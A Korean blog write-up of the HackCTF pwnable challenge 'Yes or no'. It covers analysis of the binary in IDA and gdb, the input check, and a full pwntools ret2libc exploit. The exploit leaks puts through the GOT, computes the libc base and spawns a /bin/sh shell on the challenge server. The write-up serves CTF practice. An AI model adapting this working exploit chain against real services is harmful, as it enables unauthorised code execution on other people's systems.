tmxklab

[HackCTF/Pwnable] Yes or no 본문

War Game/HackCTF

[HackCTF/Pwnable] Yes or no

tmxk4221 2020. 2. 22. 00:16

1. 문제확인

 

nc ctf.j0n9hyun.xyz 3009

 

1) 접속

  • 숫자를 입력하면 "do_system+1094"를 포함한 문자열이 출력되면서 종료

 

2) IDA(Pseudocode)확인 - main()

  • fgets()를 통해 입력 받아 30번째 줄 else문에 들어가면 gets()를 통해 bof를 수행할 수 있음

 

3) $checksec를 통해 elf파일에 걸린 메모리 보호기법 확인


2. 접근방법

먼저, 30번째 줄 gets()가 bof를 수행할 수 있으므로 fgets()를 통해 입력받아 else문안의 if문이 실행되도록 하자

else문의 if문이 실행되기 위해서는 if문 조건을 만족시켜야 하므로 디버깅을 통해 v10에 어떤 값과 비교하는지 알아보자

( if(v10==(v6*v5) << (++v11%20+5)) )

 

1) v10추정

- atoi()함수를 통해 int형으로 변환된 s변수의 값을 v10에 저장하는 코드와 일치

- if(v10==(v6*v5) << (++v11%20+5))문을 만족시키는 경우 호출되는 puts()와 gets()가 포함되어 있음
- 따라서, v10은 [rbp-0x8]에 위치하는 것을 알아낼 수 있음

 

2) gdb분석

- 방금 전 cmp명령어가 실행되는 부분에 브레이크 포인트를 걸고 1000을 입력하여 실행해 보자

- [rbp-0x8]에는 방금 입력했던 1000이 헥사 값 형태로 들어있는 것을 확인할 수 있음
- 이제, [rbp-0x8]과 비교하는 eax값을 찾아보려 하지만 64비트 elf파일에서 eax값은 볼 수 없음
- 그 이유는 eax레지스터는 32bit환경에서 동작하지만 rax레지스터는 64bit환경에서 동작한다.
- 컴파일러의 최적화로 인해 v10은 int형(4bytes)이므로 굳이 rax를 사용하여 낭비할 필요가 없기 때문에 eax레지스터에  저장을 한 것

 

- 따라서, rax레지스터를 확인해보자

- rax레지스터에는 0x960000가 저장되어 있다.
- 0x960000를 십진수로 변환하면 9,830,400이므로 "9,830,400"을 입력해보자

- 입력 시 원하는 if문에 들어가면서 puts()가 실행되고 gets()를 통해 입력을 한 번 더 받을 수 있게 되었다.

 

 

2) 결론

  • gets()를 통해 bof를 수행
  • RTL을 사용하기 위해 system함수와 /bin/sh문자열과 가젯이 필요하다.
  • system함수와 "/bin/sh"문자열 주소를 가져오기 위해 제공받은 libc파일에서 offset을 구할 수 있다.
  • 하지만, 서버측에서 프로그램을 실행할 때마다 주소가 계속 변경되므로 base주소를 구하기 위해 서버쪽 파일에서 leak해서 base주소를 구해야 한다.
  • 따라서, libc파일을 통해 필요한 각 함수들의 offset을 구하고 서버쪽 파일을 leak하여 base주소를 구한 뒤 다시 main함수를 return하여 system함수를 실행한다.

3. 풀이

1) 필요한 가젯 추출

$ROPgadget --binary ./yes_or_no

- "/bin/sh"를 pop해줄 수 있는 "pop rdi ret"와 system함수를 실행해줄 수 있는 "ret"가젯 추출
- pop rdi; ret; : 0x400883
- ret : 0x40056e

 

2) 공격코드 작성

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3009)
e = ELF("./yes_or_no")
libc = ELF("./libc-2.27.so")

sys_offset = libc.symbols['system']
bin_offset = libc.search('/bin/sh').next()
pop_rdi = p64(0x400883)
ret = p64(0x40056e)
puts_plt = p64(e.plt['puts'])
puts_got = p64(e.got['puts'])
main_got = p64(e.symbols['main'])

p.recvuntil("Show me your number~!\n")
p.sendline("9830400")
p.recvuntil("That's cool. Follow me\n")

payload = "A"*26
payload += pop_rdi
payload += puts_got
payload += puts_plt
payload += main_got

p.sendline(payload)

puts_addr = p.recv(6)
puts_addr += "\x00\x00"
puts_addr = u64(puts_addr)
log.info("leak ="+hex(puts_addr))

libc_addr = puts_addr - libc.symbols['puts']
system_addr = p64(libc_addr + sys_offset)
binsh_addr = p64(libc_addr + bin_offset)

p.recvuntil("Show me your number~!\n")
p.sendline("9830400")
p.recvuntil("That's cool. Follow me\n")

payload = "A"*26
payload += pop_rdi
payload += binsh_addr
payload += ret
payload += system_addr

p.sendline(payload)

p.interactive()

 

3) 공격 실행

'War Game > HackCTF' 카테고리의 다른 글

[HackCTF/Pwnable] g++ pwn  (0) 2020.02.22
[HackCTF/Pwnable] RTL_World  (0) 2020.02.22
[HackCTF/Pwnable] BOF_PIE  (0) 2020.01.28
[HackCTF/Pwnable] Offset  (0) 2020.01.27
[HackCTF/Pwnable] Simple_Overflow_ver_2  (0) 2020.01.27
Comments